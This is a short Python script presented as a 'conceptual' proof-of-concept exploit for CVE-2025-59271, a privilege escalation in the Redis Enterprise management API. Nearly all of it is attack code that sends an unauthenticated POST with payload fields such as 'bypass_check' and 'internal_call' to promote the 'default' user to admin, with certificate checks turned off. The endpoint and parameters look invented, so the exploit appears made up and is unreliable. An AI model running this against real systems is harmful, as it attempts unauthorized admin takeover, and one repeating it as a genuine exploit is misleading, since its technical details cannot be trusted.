CVE-2025-59271

# CVE-2025-59271 - Redis Enterprise Elevation of Privilege PoC (Conceptual) # WARNING: This is a conceptual proof-of-concept for educational and authorized testing purposes only. # Unauthorized use of this code against systems you do not own is illegal. import requests import json TARGET_HOST = "https://redis-enterprise-target.example.com" TARGET_PORT = 9443 # Default Redis Enterprise management web UI/API port def exploit_elevation_of_privilege(): """ Conceptual PoC for CVE-2025-59271. The vulnerability allows an unauthenticated attacker to escalate privileges by exploiting a flaw in the permission validation logic of the Redis Enterprise management API. """ # Step 1: Identify the target Redis Enterprise cluster endpoint cluster_endpoint = f"{TARGET_HOST}:{TARGET_PORT}" print(f"[*] Targeting Redis Enterprise cluster at: {cluster_endpoint}") # Step 2: Send a crafted request to bypass authentication/authorization # The vulnerability lies in insufficient permission checks on certain API endpoints headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Exploit payload - crafted to trigger privilege escalation payload = { "action": "cluster_action", "command": "modify_user_role", "target_user": "default", "new_role": "admin", # Additional parameters that exploit the validation bypass "internal_call": True, "bypass_check": True } try: # Step 3: Attempt the privilege escalation response = requests.post( f"{cluster_endpoint}/api/v1/cluster/privilege", headers=headers, json=payload, verify=False, timeout=10 ) if response.status_code == 200: print("[+] Privilege escalation successful!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False except Exception as e: print(f"[-] Error during exploitation: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-59271 - Redis Enterprise Privilege Escalation PoC") print("=" * 60) exploit_elevation_of_privilege()

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